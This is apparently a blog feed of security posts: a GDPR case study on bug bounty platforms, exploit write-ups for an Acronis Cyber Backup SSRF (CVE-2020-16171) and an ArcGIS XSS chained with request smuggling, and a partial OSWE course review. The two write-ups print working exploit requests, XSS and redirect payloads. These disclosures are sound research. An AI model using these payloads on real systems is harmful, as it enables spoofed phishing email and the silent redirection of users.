Normal view

There are new articles available, click to refresh the page.
Before yesterdayRCE Security

Bug Bounty Platforms vs. GDPR: A Case Study

22 July 2020 at 00:00

What Do Bug Bounty Platforms Store About Their Hackers?

I do care a lot about data protection and privacy things. I’ve also been in the situation, where a bug bounty platform was able to track me down due to an incident, which was the initial trigger to ask myself:

How did they do it? And do I know what these platforms store about me and how they protect this (my) data? Not really. So why not create a little case study to find out what data they process?

One utility that comes in quite handy when trying to get this kind of information (at least for Europeans) is the General Data Protection Regulation (GDPR). The law’s main intention is to give people an extensive right to access and restrict their personal data. Although GDPR is a law of the European Union, it is extra-territorial in scope. So as soon as a company collects data about a European citizen/resident, the company is automatically required to comply with GDPR. This is the case for all bug bounty platforms that I am currently registered on. They probably cover 98% of the world-wide market: HackerOne, Bugcrowd, Synack, Intigriti, and Zerocopter.

Spoiler: All of them have to be GDPR-compliant, but not all seem to have proper processes in place to address GDPR requests.

Creating an Even Playing Field

To create an even playing field, I’ve sent out the same GDPR request to all bug bounty platforms. Since the scenario should be as realistic and real-world as possible, no platform was explicitly informed beforehand that the request, respectively, their answer, is part of a study.

  • All platforms were given the same questions, which should cover most of their GDPR response processes (see Art. 15 GDPR):
  • All platforms were given the same email aliases to include in their responses.
  • All platforms were asked to hand over a full copy of my personal data.
  • All platforms were given a deadline of one month to respond to the request. Given the increasing COVID situation back in April, all platforms were offered an extension of the deadline (as per Art. 12 par. 3 GDPR).

Analyzing the Results

First of all, to compare the responses that are quite different in style, completeness, accuracy, and thoroughness, I’ve decided to only count answers that are a part of the official answer. After the official response, discussions are not considered here, because accepting those might create advantages across competitors. This should give a clear understanding of how thoroughly each platform reads and answers the GDPR request.

Instead of going with a kudos (points) system, I’ve decided to use a “traffic light” rating:

Indicator Expectation
All good, everything provided, expectations met.
Improvable, at least one (obvious) piece of information is missing, only implicitly answered.
Left out, missing a substantial amount of data or a significant data point and/or unmet expectations.

This light system is then applied to the different GDPR questions and derived points either from the questions themselves or from the data provided.

Results Overview

To give you a quick overview of how the different platforms performed, here’s a summary showing the lights indicators. For a detailed explanation of the indicators, have a look at the detailed response evaluations below.

Question HackerOne Bugcrowd Synack Intigriti Zerocopter
Did the platform meet the deadline?
(Art. 12 par. 3 GDPR)
Did the platform explicitly validate my identity for all provided email addresses?
(Art. 12 par. 6 GDPR)
Did the platform hand over the results for free?
(Art. 12 par. 5 GDPR)
Did the platform provide a full copy of my data?
(Art. 15 par. 3 GDPR)
Is the provided data accurate?
(Art. 5 par. 1 (d) GDPR)
Specific question: Which personal data about me is stored and/or processed by you?
(Art. 15 par. 1 (b) GDPR)
Specific question: What is the purpose of processing this data?
(Art. 15 par. 1 (a) GDPR)
Specific question: Who has received or will receive my personal data (including recipients in third countries and international organizations)?
(Art. 15 par. 1 (c) GDPR)
Specific question: If the personal data wasn’t supplied directly by me, where does it originate from?
(Art. 15 par. 1 (g) GDPR)
Specific question: If my personal data has been transferred to a third country or organization, which guarantees are given based on article 46 GDPR?
(Art. 15 par. 2 GDPR and Art. 46 GDPR)

Detailed Answers

HackerOne

Request sent out: 01st April 2020
Response received: 30th April 2020
Response style: Email with attachment
Sample of their response:

Question Official Answer Comments Indicator
Did the platform meet the deadline? Yes, without an extension. -
Did the platform explicitly validate my identity for all provided email addresses? Via email. I had to send a random, unique code from each of the mentioned email addresses.
Did the platform hand over the results for free? No fee was charged. -
Did the platform provide a full copy of my data? No. A copy of the VPN access logs/packet dumps was/were not provided.

However, since this is not a general feature, I do not consider this to be a significant data point, but still a missing one.
Is the provided data accurate? Yes. -
Which personal data about me is stored and/or processed by you? First- & last name, email address, IP addresses, phone number, social identities (Twitter, Facebook, LinkedIn), address, shirt size, bio, website, payment information, VPN access & packet log HackerOne provided a quite extensive list of IP addresses (both IPv4 and IPv6) that I have used, but based on the provided dataset it is not possible to say when they started recording/how long those are retained.

HackerOne explicitly mentioned that they are actively logging VPN packets for specific programs. However, they currently do not have any ability to search in it for personal data (it’s also not used for anything according to HackerOne)
What is the purpose of processing this data? Operate our Services, fulfill our contractual obligations in our service contracts with customers, to review and enforce compliance with our terms, guidelines, and policies, To analyze the use of the Services in order to understand how we can improve our content and service offerings and products, For administrative and other business purposes, Matching finders to customer programs -
Who has received or will receive my personal data (including recipients in third countries and international organizations)? Zendesk, PayPal, Slack, Intercom, Coinbase, CurrencyCloud, Sterling While analyzing the provided dataset, I noticed that the list was missing a specific third-party called “TripActions”, which is used to book everything around live hacking events. This is a missing data point, but it’s also only a non-general one, so the indicator is only orange.

HackerOne added the data point as a result of this study.
If the personal data wasn’t supplied directly by me, where does it originate from? HackerOne does not enrich data. -
If my personal data has been transferred to a third country or organization, which guarantees are given based on article 46 GDPR? This question wasn’t answered as part of the official response. I’ve notified HackerOne about the missing information afterwards, and they’ve provided the following:

Vendors must undergo due diligence as required by GDPR, and where applicable, model clauses are in place.

Remarks

HackerOne provided an automated and tool-friendly report. While the primary information was summarized in an email, I’ve received quite a huge JSON file, which was quite easily parsable using your preferred scripting language. However, if a non-technical person would receive the data this way, they’d probably have issues getting useful information out of it.

Bugcrowd

Request sent out: 1st April 2020
Response received: 17th April 2020
Response style: Email with a screenshot of an Excel table
Sample of their response:

Question Official Answer Comments Indicator
Did the platform meet the deadline? Yes, without an extension. -
Did the platform explicitly validate my identity for all provided email addresses? No identity validation was performed. I’ve sent the request to their official support channel, but there was no explicit validation to verify it’s really me, for neither of my provided email addresses.
Did the platform hand over the results for free? No fee was charged. -
Did the platform provide a full copy of my data? No. Bugcrowd provided a screenshot of what looks like an Excel file with a couple of information on it. In fact, the screenshot you can see above is not even a sample but their complete response.
However, the provided data is not complete since it misses a lot of data points that can be found on the researcher portal, such as a history of authenticated devices (IP addresses see your sessions on your Bugcrowd profile), my ISC2 membership number, everything around the identity verification.

There might be more data points such as logs collected through their (for some programs) required proxies or VPN endpoints, which is required by some programs, but no information was provided about that.

Bugcrowd did neither provide anything about all other given email addresses, nor did they deny to have anything related to them.
Is the provided data accurate? No. The provided data isn’t accurate. Address information, as well as email addresses and payment information are super old (it does not reflect my current Bugcrowd settings), which indicates that Bugcrowd stores more than they’ve provided.
Which personal data about me is stored and/or processed by you? First & last name, address, shirt size, country code, LinkedIn profile, GooglePlus address, previous email address, PayPal email address, website, current IP sign-in, bank information, and the Payoneer ID This was only implicitly answered through the provided copy of my data.

As mentioned before, it seems like there is a significant amount of information missing.
What is the purpose of processing this data? - This question wasn’t answered.
Who has received or will receive my personal data (including recipients in third countries and international organizations)? - This question wasn’t answered.
If the personal data wasn’t supplied directly by me, where does it originate from? - This question wasn’t answered.
If my personal data has been transferred to a third country or organization, which guarantees are given based on article 46 GDPR? - This question wasn’t answered.

Remarks

The “copy of my data” was essentially the screenshot of the Excel file, as shown above. I was astonished about the compactness of the answer and asked again to answer all the provided questions as per GDPR. What followed was quite a long discussion with the responsible personnel at Bugcrowd. I’ve mentioned more than once that the provided data is inaccurate and incomplete and that they’ve left out most of the questions, which I have a right by law to get an answer to. Still, they insisted that all answers were GDPR-compliant and complete.

I’ve also offered them an extension of the deadline in case they needed more time to evaluate all questions. However, Bugcrowd did not want to take the extension. The discussion ended with the following answer on 17th April:

We’ve done more to respond to you that any other single GDPR request we’ve ever received since the law was passed. We’ve done so during a global pandemic when I think everyone would agree that the world has far more important issues that it is facing. I need to now turn back to those things.

I’ve given up at that point.

Synack

Request sent out: 25th March 2020
Response received: 03th July 2020
Response style: Email with a collection of PDFs, DOCXs, XLSXs
Sample of their response:

Question Answer Comments Indicator
Did the platform meet the deadline? Yes, with an extension of 2 months. Synack explicitly requested the extension.
Did the platform explicitly validate my identity for all provided email addresses? No. I’ve sent the initial request via their official support channel, but no further identity verification was done.
Did the platform hand over the results for free? No fee was charged. -
Did the platform provide a full copy of my data? Very likely not. Synack uses a VPN solution called “LaunchPoint”, respectively “LaunchPoint+” which requires every participant to go through when testing targets. What they do know - at least - is when I am connected to the VPN, which target I am connected to, and how long I am connected to it. However, neither a connection log nor a full dump was provided as part of the data copy.

The same applies to the system called “TUPOC”, which was not mentioned.

Synack did neither provide anything about all other given email addresses nor did they deny to have anything related to them.

Since I do consider these to be significant data points in the context of Synack that weren’t provided, the indicator is red
Is the provided data accurate? Yes. The data that was provided is accurate, though.
Which personal data about me is stored and/or processed by you? Identity information: full name, location, nationality, date of birth, age, photograph, passport or other unique ID number, LinkedIn Profile, Twitter handle, website or blog, relevant certifications, passport details (including number, expiry data, issuing country), Twitter handle and Github handle

Taxation information: W-BEN tax form information, including personal tax number

Account information: Synack Platform username and password, log information, record of agreement to the Synack Platform agreements (ie terms of use, code of conduct, insider trading policy and privacy policy) and vulnerability submission data;

Contact details: physical address, phone number, and email address

Financial information: bank account details (name of bank, BIC/SWIFT, account type, IBAN number), PayPal account details and payment history for vulnerability submissions

Data with respect to your engagement on the Synack Red Team: Helpdesk communications with Synack, survey response information, data relating to the vulnerabilities you submitted through the Synack Platform and data related to your work on the Synack Platform
Compared to the provided data dump, a couple of information are missing: last visited date, last clicks on link tracking in emails, browser type and version, operating system, and gender are not mentioned, but still processed.

“Log information” in the context of “Account information” and “data related to your work on the Synack Platform” in the context of “Data with respect to your engagement on the Synack Red Team” are too vague since it could be anything.

There is no mention of either LaunchPoint, LaunchPoint+ or TUPOC details.

Since I do consider these to be significant data points in the context of Synack, the indicator is red.
What is the purpose of processing this data? Recruitment, including screening of educational and professional background data prior to and during the course of the interviewing process and engagement, including carrying out background checks (where permitted under applicable law).

Compliance with all relevant legal, regulatory and administrative obligations

The administration of payments, special awards and benefits, the management, and the reimbursement of expenses.

Management of researchers

Maintaining and ensuring the communication between Synack and the researchers.

Monitoring researcher compliance with Synack policies

Maintaining the security of Synack’s network customer information
A really positive aspect of this answer is that Synack included the retention times of each data point.
Who has received or will receive my personal data (including recipients in third countries and international organizations)? Cloud storage providers (Amazon Web Services and Google), identification verification providers, payment processors (including PayPal), customer service software providers, communication platforms and messaging platform to allow us to process your customer support tickets and messages, customers, background search firms, applicant tracking system firm. Synack referred to their right to mostly only name “categories of third-parties” except for AWS and Google. While this shows some transparency issues, it is still legal to do so.
If the personal data wasn’t supplied directly by me, where does it originate from? Synack does not enrich data. -
If my personal data has been transferred to a third country or organization, which guarantees are given based on article 46 GDPR? Synack engages third-parties in connection with the operation of Synack’s crowdsourced penetration testing business. To the extent your personal data is stored by these third- party providers, they store your personal data in either the European Economic Area or the United States. The only thing Synack states here is that data is stored in the EEA or the US, but the storage itself is not a safeguard. Therefore the indicator is red.

Remarks

The communication process with Synack was rather slow because it seems like it takes them some time to get information from different vendors.

Update 23rd July 2020:
One document was lost in the conversations with Synack, which turns a couple of their points from red to green. The document was digitally signed, and due to the added proofs, I can confirm that it has been signed within the deadline set for their GDPR request. The document itself tries to answer the specific questions, but there are some inconsistencies compared to the also attached copy of the privacy policy (in terms of data points being named in one but not the other document), which made it quite hard to create a unique list of data points. However, I’ve still updated the table for Synack accordingly.

Intigriti

Request sent out: 07th April 2020
Response received: 04th May 2020
Response style: Email with PDF and JSON attachments.
Sample of their response:

Question Answer Comments Indicator
Did the platform meet the deadline? Yes, without an extension. -
Did the platform explicitly validate my identity for all provided email addresses? Yes. Via email. I had to send a random, unique code from each of the mentioned email addresses.
Did the platform hand over the results for free? No fee was charged. -
Did the platform provide a full copy of my data? Yes. I couldn’t find any missing data points.
Is the provided data accurate? Yes. -
Which personal data about me is stored and/or processed by you? First- & lastname, address, phone number, email address, website address, Twitter handle, LinkedIn page, shirt size, passport data, email conversation history, accepted program invites, payment information (banking and PayPal), payout history, IP address history of successful logins, history of accepted program terms and conditions, followed programs, reputation tracking, the time when a submission has been viewed.

Data categories processed: User profile information, Identification history information, Personal preference information, Communication preference information, Public preference information, Payment methods, Payout information, Platform reputation information, Program application information, Program credential information, Program invite information, Program reputation information, Program TAC acceptance information, Submission information, Support requests, Commercial requests, Program preference information, Mail group subscription information, CVR Download information, Demo request information, Testimonial information, Contact request information.
I couldn’t find any missing data points.

A long, long time ago, Intigriti had a VPN solution enabled for some of their customers, but I haven’t seen it active anymore since then, so I do not consider this data point anymore.
What is the purpose of processing this data? Purpose: Public profile display, Customer relationship management, Identification & authorization, Payout transaction processing, Bookkeeping, Identity checking, Preference management, Researcher support & community management, Submission creation & management, Submission triaging, Submission handling by company, Program credential handling, Program inviting, Program application handling, Status reporting, Reactive notification mail sending, Pro-active notification mail sending, Platform logging & performance analysis. -
Who has received or will receive my personal data (including recipients in third countries and international organizations)? Intercom, Mailerlite, Google Cloud Services, Amazon Web Services, Atlas, Onfido, Several payment providers (TransferWise, PayPal, Pioneer), business accounting software (Yuki), Intigriti staff, Intigriti customers, encrypted backup storage (unnamed), Amazon SES. I’ve noticed a little contradiction in their report: while saying data is transferred to these parties (which includes third-country companies such as Google and Amazon), they also included a “Data Transfer” section saying “We do not transfer any personal information to a third country.”

After gathering for clarification, Intigriti told me that they’re only hosting in the Europe region in regard to AWS and Google.
If the personal data wasn’t supplied directly by me, where does it originate from? Intigriti does not enrich data. -
If my personal data has been transferred to a third country or organization, which guarantees are given based on article 46 GDPR? - This information wasn’t explicitly provided, but can be found in their privacy policy: “We will ensure that any transfer of personal data to countries outside of the European Economic Area will take place pursuant to the appropriate safeguards.”

However, “appropriate safeguards” are not defined.

Remarks

Intigriti provided the most well-written and structured report of all queried platforms, allowing a non-technical reader to get all the necessary information quickly. In addition to that, a bundle of JSON files were provided to read in all data programmatically.

Zerocopter

Request sent out: 14th April 2020
Response received: 12th May 2020
Response style: Email with PDF
Sample of their response:

Question Answer Comments Indicator
Did the platform meet the deadline? Yes, without an extension. -
Did the platform explicitly validate my identity for all provided email addresses? Yes Zerocopter validated all email addresses that I’ve mentioned in my request by asking personal questions about the account in question and by letting me send emails with randomly generated strings from each address.
Did the platform hand over the results for free? No fee was charged. -
Did the platform provide a full copy of my data? Yes. I couldn’t find any missing data points.
Is the provided data accurate? Yes. -
Which personal data about me is stored and/or processed by you? First-, last name, country of residence, bio, email address, passport details, company address, payment details, email conversations, VPN log data (retained for one month), metadata about website visits (such as IP addresses, browser type, date and time), personal information as part of security reports, time spent on pages, contact information with Zerocopter themselves such as provided through email, marketing information (through newsletters). I couldn’t find any missing data points.
What is the purpose of processing this data? Optimisation Website, Application, Services, and provision of information, Implementation of the agreement between you and Zerocopter (maintaining contact) -
Who has received or will receive my personal data (including recipients in third countries and international organizations)? Some data might be transferred outside the European Economic Area, but only with my consent, unless it is required for agreement implementation between Zerocopter and me, if there is an obligation to transmit it to government agencies, a training event is held, or the business gets reorganized. Zerocopter did not explicitly name any of these third-parties, except for “HubSpot”.
If the personal data wasn’t supplied directly by me, where does it originate from? Zerocopter does not enrich data. -
If my personal data has been transferred to a third country or organization, which guarantees are given based on article 46 GDPR? - This information wasn’t explicitly provided, but can be found in their privacy policy: “ These third parties (processors) process your personal data exclusively within our assignment and we conclude processor agreements with these third parties which are compliant with the requirements of GDPR (or its Netherlands ratification AVG)”.

Remarks

For the largest part, Zerocopter did only cite their privacy policy, which is a bit hard to read for non-legal people.

Conclusion

For me, this small study holds a couple of interesting findings that might or might not surprise you:

  • In general, it seems that European bug bounty platforms like Intigriti and Zerocopter generally do better or rather seem to be better prepared for incoming GDPR requests than their US competitors.
  • Bugcrowd and Synack seem to lack a couple of processes to adequately address GDPR requests, which unfortunately also includes proper identity verification.
  • Compared to Bugcrowd and Synack, HackerOne did quite well, considering they are also US-based. So being a US platform is no excuse for not providing a proper GDPR response.
  • None of the platforms has explicitly and adequately described the safeguards required from their partners to protect personal data. HackerOne has handed over this data after their official response, Intigriti and Zerocopter have not explicitly answered that question. However, both have (vague) statements about it in their corresponding privacy policies. This point does not seem to be a priority for the platforms, or it’s probably a rather rarely asked question.

See you next year ;-)

CVE-2020-16171: Exploiting Acronis Cyber Backup for Fun and Emails

14 September 2020 at 00:00

CVE-2020-16171: Exploiting Acronis Cyber Backup for Fun and Emails

You have probably read one or more blog posts about SSRFs, many being escalated to RCE. While this might be the ultimate goal, this post is about an often overlooked impact of SSRFs: application logic impact.

This post will tell you the story about an unauthenticated SSRF affecting Acronis Cyber Backup up to v12.5 Build 16341, which allows sending fully customizable emails to any recipient by abusing a web service that is bound to localhost. The fun thing about this issue is that the emails can be sent as backup indicators, including fully customizable attachments. Imagine sending Acronis “Backup Failed” emails to the whole organization with a nice backdoor attached to it? Here you go.

Root Cause Analysis

So Acronis Cyber Backup is essentially a backup solution that offers administrators a powerful way to automatically backup connected systems such as clients and even servers. The solution itself consists of dozens of internally connected (web) services and functionalities, so it’s essentially a mess of different C/C++, Go, and Python applications and libraries.

The application’s main web service runs on port 9877 and presents you with a login screen:

Now, every hacker’s goal is to find something unauthenticated. Something cool. So I’ve started to dig into the source code of the main web service to find something cool. Actually, it didn’t take me too long to discover that something in a method called make_request_to_ams:

# WebServer/wcs/web/temp_ams_proxy.py:

def make_request_to_ams(resource, method, data=None):
    port = config.CONFIG.get('default_ams_port', '9892')
    uri = 'http://{}:{}{}'.format(get_ams_address(request.headers), port, resource)
[...]

The main interesting thing here is the call to get_ams_address(request.headers), which is used to construct a Uri. The application reads out a specific request header called Shard within that method:

def get_ams_address(headers):
    if 'Shard' in headers:
        logging.debug('Get_ams_address address from shard ams_host=%s', headers.get('Shard'))
        return headers.get('Shard')  # Mobile agent >= ABC5.0

When having a further look at the make_request_to_ams call, things are getting pretty clear. The application uses the value from the Shard header in a urllib.request.urlopen call:

def make_request_to_ams(resource, method, data=None):
[...]
    logging.debug('Making request to AMS %s %s', method, uri)
    headers = dict(request.headers)
    del headers['Content-Length']
    if not data is None:
        headers['Content-Type'] = 'application/json'
    req = urllib.request.Request(uri,
                                 headers=headers,
                                 method=method,
                                 data=data)
    resp = None
    try:
        resp = urllib.request.urlopen(req, timeout=wcs.web.session.DEFAULT_REQUEST_TIMEOUT)
    except Exception as e:
        logging.error('Cannot access ams {} {}, error: {}'.format(method, resource, e))
    return resp

So this is a pretty straight-forward SSRF including a couple of bonus points making the SSRF even more powerful:

  • The instantiation of the urllib.request.Request class uses all original request headers, the HTTP method from the request, and the even the whole request body.
  • The response is fully returned!

The only thing that needs to be bypassed is the hardcoded construction of the destination Uri since the API appends a semicolon, a port, and a resource to the requested Uri:

uri = 'http://{}:{}{}'.format(get_ams_address(request.headers), port, resource)

However, this is also trivially easy to bypass since you only need to append a ? to turn those into parameters. A final payload for the Shard header, therefore, looks like the following:

Shard: localhost?

Finding Unauthenticated Routes

To exploit this SSRF we need to find a route which is reachable without authentication. While most of CyberBackup’s routes are only reachable with authentication, there is one interesting route called /api/ams/agents which is kinda different:

# WebServer/wcs/web/temp_ams_proxy.py:
_AMS_ADD_DEVICES_ROUTES = [
    (['POST'], '/api/ams/agents'),
] + AMS_PUBLIC_ROUTES

Every request to this route is passed to the route_add_devices_request_to_ams method:

def setup_ams_routes(app):
[...]
    for methods, uri, *dummy in _AMS_ADD_DEVICES_ROUTES:
        app.add_url_rule(uri,
                         methods=methods,
                         view_func=_route_add_devices_request_to_ams)
[...]

This in return does only check whether the allow_add_devices configuration is enabled (which is the standard config) before passing the request to the vulnerable _route_the_request_to_ams method:

               
def _route_add_devices_request_to_ams(*dummy_args, **dummy_kwargs):
    if not config.CONFIG.get('allow_add_devices', True):
        raise exceptions.operation_forbidden_error('Add devices')

    return _route_the_request_to_ams(*dummy_args, **dummy_kwargs)

So we’ve found our attackable route without authentication here.

Sending Fully Customized Emails Including An Attachment

Apart from doing meta-data stuff or similar, I wanted to entirely fire the SSRF against one of Cyber Backup’s internal web services. There are many these, and there are a whole bunch of web services whose authorization concept solely relies only on being callable from the localhost. Sounds like a weak spot, right?

One interesting internal web service is listening on localhost port 30572: the Notification Service. This service offers a variety of functionality to send out notifications. One of the provided endpoints is /external_email/:

@route(r'^/external_email/?')
class ExternalEmailHandler(RESTHandler):
    @schematic_request(input=ExternalEmailValidator(), deserialize=True)
    async def post(self):
        try:
            error = await send_external_email(
                self.json['tenantId'], self.json['eventLevel'], self.json['template'], self.json['parameters'],
                self.json.get('images', {}), self.json.get('attachments', {}), self.json.get('mainRecipients', []),
                self.json.get('additionalRecipients', [])
            )
            if error:
                raise HTTPError(http.BAD_REQUEST, reason=error.replace('\n', ''))
        except RuntimeError as e:
            raise HTTPError(http.BAD_REQUEST, reason=str(e))

I’m not going through the send_external_email method in detail since it is rather complex, but this endpoint essentially uses parameters supplied via HTTP POST to construct an email that is send out afterwards.

The final working exploit looks like the following:

POST /api/ams/agents HTTP/1.1
Host: 10.211.55.10:9877
Shard: localhost:30572/external_email?
Connection: close
Content-Length: 719
Content-Type: application/json;charset=UTF-8

{"tenantId":"00000000-0000-0000-0000-000000000000",
"template":"true_image_backup",
"parameters":{
"what_to_backup":"what_to_backup",
"duration":2,
"timezone":1,
"start_time":1,
"finish_time":1,
"backup_size":1,
"quota_servers":1,
"usage_vms":1,
"quota_vms":1,"subject_status":"subject_status",
"machine_name":"machine_name",
"plan_name":"plan_name",
"subject_hierarchy_name":"subject_hierarchy_name",
"subject_login":"subject_login",
"ams_machine_name":"ams_machine_name",
"machine_name":"machine_name",
"status":"status","support_url":"support_url"
},
"images":{"test":"./critical-alert.png"},
"attachments":{"test.html":"PHU+U29tZSBtb3JlIGZ1biBoZXJlPC91Pg=="},
"mainRecipients":["[email protected]"]}

This involves a variety of “customizations” for the email including a base64-encoded attachments value. Issuing this POST request returns null:

but ultimately sends out the email to the given mainRecipients including some attachments:

Perfectly spoofed mail, right ;-) ?

The Fix

Acronis fixed the vulnerability in version v12.5 Build 16342 of Acronis Cyber Backup by changing the way that get_ams_address gets the actual Shard address. It now requires an additional authorization header with a JWT that is passed to a method called resolve_shard_address:

# WebServer/wcs/web/temp_ams_proxy.py:
def get_ams_address(headers):
    if config.is_msp_environment():
        auth = headers.get('Authorization')
        _bearer_prefix = 'bearer '
        _bearer_prefix_len = len(_bearer_prefix)
        jwt = auth[_bearer_prefix_len:]
        tenant_id = headers.get('X-Apigw-Tenant-Id')
        logging.info('GET_AMS: tenant_id: {}, jwt: {}'.format(tenant_id, jwt))
        if tenant_id and jwt:
            return wcs.web.session.resolve_shard_address(jwt, tenant_id)

While both values tenant_id and jwt are not explicitly validated here, they are simply used in a new hardcoded call to the API endpoint /api/account_server/tenants/ which ultimately verifies the authorization:

# WebServer/wcs/web/session.py:
def resolve_shard_address(jwt, tenant_id):
    backup_account_server = config.CONFIG['default_backup_account_server']
    url = '{}/api/account_server/tenants/{}'.format(backup_account_server, tenant_id)

    headers = {
        'Authorization': 'Bearer {}'.format(jwt)
    }

    from wcs.web.proxy import make_request
    result = make_request(url,
                          logging.getLogger(),
                          method='GET',
                          headers=headers).json()
    kind = result['kind']
    if kind not in ['unit', 'customer']:
        raise exceptions.unsupported_tenant_kind(kind)
    return result['ams_shard']

Problem solved.

Smuggling an (Un)exploitable XSS

13 November 2020 at 00:00

Smuggling an (Un)exploitable XSS

This is the story about how I’ve chained a seemingly uninteresting request smuggling vulnerability with an even more uninteresting header-based XSS to redirect network-internal web site users without any user interaction to arbitrary pages. This post also introduces a 0day in ArcGis Enterprise Server.

However, this post is not about how request smuggling works. If you’re new to this topic, have a look at the amazing research published by James Kettle, who goes into detail about the concepts.

Smuggling Requests for Different Response Lengths

So what I usually do when having a look at a single application is trying to identify endpoints that are likely to be proxied across the infrastructure - endpoints that are commonly proxied are for example API endpoints since those are usually infrastructurally separated from any front-end stuff. While hunting on a private HackerOne program, I’ve found an asset exposing an API endpoint that was actually vulnerable to a CL.TE-based request smuggling by using a payload like the following:

POST /redacted HTTP/1.1
Content-Type: application/json
Content-Length: 132
Host: redacted.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Foo: bar

Transfer-Encoding: chunked

4d
{"GeraetInfoId":"61e358b9-a2e8-4662-ab5f-56234a19a1b8","AppVersion":"2.2.40"}
0

GET / HTTP/1.1
Host: redacted.com
X: X

As you can see here, I’m smuggling a simple GET request against the root path of the webserver on the same vhost. So in theory, if the request is successfully smuggled, we’d see the root page as a response instead of the originally queried API endpoint.

To verify that, I’ve spun up a TurboIntruder instance using a configuration that issues the payload a hundred times:

While TuroboIntruder was running, I’ve manually refreshed the page a couple of times to trigger (simulate) the vulnerability. Interestingly, the attack seemed to work quite well, since there were actually two different response sizes, whereof one was returning the original response of the API:

And the other returned the start page:

This confirms the request smuggling vulnerability against myself. Pretty cool so far, but self-exploitation isn’t that much fun.

Poisoning Links Through ArcGis’ X-Forwarded-Url-Base Header

To extend my attack surface for the smuggling issue, I’ve noticed that the same server was also running an instance of the ArcGis Enterprise Server under another directory. So I’ve reviewed its source code for vulnerabilities that I could use to improve the request smuggling vulnerability. I’ve stumbled upon an interesting constellation affecting its generic error handling:

The ArcGIS error handler accepts a customized HTTP header called X-Forwarded-Url-Base that is used for the base of all links on the error page, but only if it is combined with another customized HTTP header called X-Forwarded-Request-Context. The value supplied to X-Forwarded-Request-Context doesn’t really matter as long as it is set.

So a minified request to exploit this issue against the ArcGis’ /rest/directories route looks like the following:

GET /rest/directories HTTP/1.1
Host: redacted.com
X-Forwarded-Url-Base: https://www.rce.wf/cat.html?
X-Forwarded-Request-Context: HackerOne

This simply poisons all links on the error page with a reference to my server at https://www.rce.wf/cat.html? (note the appended ? which is used to get rid off the automatically appended URL string /rest/services):

While this already looks like a good candidate to be chained with the smuggling, it still requires user interaction by having the user (victim) to click on any link on the error page.

However, I was actually looking for something that does not require any user interaction.

A Seemingly Unexploitable ArcGis XSS

You’ve probably guessed it already. The very same header combination as previously shown is also vulnerable to a reflected XSS. Using a payload like the following for the X-Forwarded-Url-Base:

X-Forwarded-Url-Base: https://www.rce.wf/cat.html?"><script>alert(1)</script>
X-Forwarded-Request-Context: HackerOne

leads to an alert being injected into the error page:

Now, a header-based XSS is usually not exploitable on its own, but it becomes easily exploitable when chained with a request smuggling vulnerability because the attacker is able to fully control the request.

While popping alert boxes on victims that are visiting the vulnerable server is funny, I was looking for a way to maximize my impact to claim a critical bounty. The solution: redirection.

If you’d now use a payload like the following:

X-Forwarded-Url-Base: https://www.rce.wf/cat.html?"><script>document.location='https://www.rce.wf/cat.html';</script>
X-Forwarded-Request-Context: HackerOne

…you’d now be able to redirect users.

Connecting the Dots

The full exploit looked like the following:

POST /redacted HTTP/1.1
Content-Type: application/json
Content-Length: 278
Host: redacted.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Foo: bar

Transfer-Encoding: chunked

4d
{"GeraetInfoId":"61e358b9-a2e8-4662-ab5f-56234a19a1b8","AppVersion":"2.2.40"}
0

GET /redacted/rest/directories HTTP/1.1
Host: redacted.com
X-Forwarded-Url-Base: https://www.rce.wf/cat.html?"><script>document.location='https://www.rce.wf/cat.html';</script>
X-Forwarded-Request-Context: HackerOne
X: X

While executing this attack at around 1000 requests per second, I was able to actually see some interesting hits on my server:

After doing some lookups I was able to confirm that those hits were indeed originating from the program’s internal network.

Mission Completed. Thanks for the nice critical bounty :-)

OSWE Course And Exam Review

22 April 2022 at 00:00

Introduction

This is a review of the Advanced Web Attacks and Exploitation (WEB-300) course provided by Offensive-Security. I’ve taken this course because I was curious about what secret tricks this course will offer for its money, especially considering that I’ve done a lot of source code reviews in different languages already.

This course is designed to develop, or expand, your exploitation skills in web application penetration testing and exploitation research. This is not an entry level course–it is expected that you are familiar with basic web technologies and scripting languages. We will dive into, read, understand, and write code in several languages, including but not limited to JavaScript, PHP, Java, and C#.

I got this course as part of my Offensive-Security Learn Unlimited subscription, which includes all of their courses (except for the EXP-401) and unlimited exam attempts. Luckily, I only needed one attempt to pass the exam and get my OSWE certification.

The Courseware & the Labs

I’d say it’s a typical Offensive-Security course. It comes with hundreds of written pages and hours of video content explaining every vulnerability class in such incredible detail, which is fantastic if you’re new to certain things. But the courseware still assumes a technically competent reader proficient with programming concepts such as object orientation, so I don’t recommend taking this course without prior programming knowledge.

You will also get access to their labs to follow the course materials. These labs consist of Linux and Windows machines that you will pwn along the course, and they are fun! You will touch on all the big vulnerability classes and some lesser-known ones that you usually don’t encounter in your day-to-day BugBounty business. Some of these are:

  • Authentication Bypasses of all kinds
  • Type Juggling
  • SQL Injection
  • Server-Side JavaScript Injection
  • Deserialization
  • Template Injection
  • Cross-Site Scripting (this was unexpected in an RCE context!)
  • Server-Side Request Forgery
  • Prototype Pollution
  • Classic command injection

It took me roughly a week to get through all videos and labs, mostly because I was already familiar with most of the vulnerability classes and content. My most challenging ones were the type juggling (this is some awesome stuff!) and prototype pollution. I also decided not to go the extra miles; however, I’d still recommend this to everyone who is relatively new to source code review and exploitation and wants to practice their skills.

The Exam

Overview

The exam is heavily time-constrained. You have 47 hours and 45 minutes to work through 2 target machines, where you have full access to the application’s source code. But be prepared that the source code to review might be a lot - good time management is crucial here. After the pure hacking time, you will have another 24 hours to submit your exam documentation.

The Proctoring

But before actually being able to read a lot of source code, you have to go through the proctoring setup with the proctors themselves. You have to be 15 minutes early to the party to show your government ID, walk them through your room and make sure that they can correctly monitor (all of) your screens. You are also not allowed to have any additional computers or mobile phones in the same room.

The proctoring itself wasn’t a real problem. The proctors have always been friendly and responsive. Note that if you intend to leave the room (even to visit your toilet), you have to let them know when you leave and when you return to your desk. But you do not have to wait for their confirmation - so no toilet incidents are expected ;-) If you intend to stay away for a more extended period (sleep ftw.), they will pause the VPN connection.

Basic Machine Setup

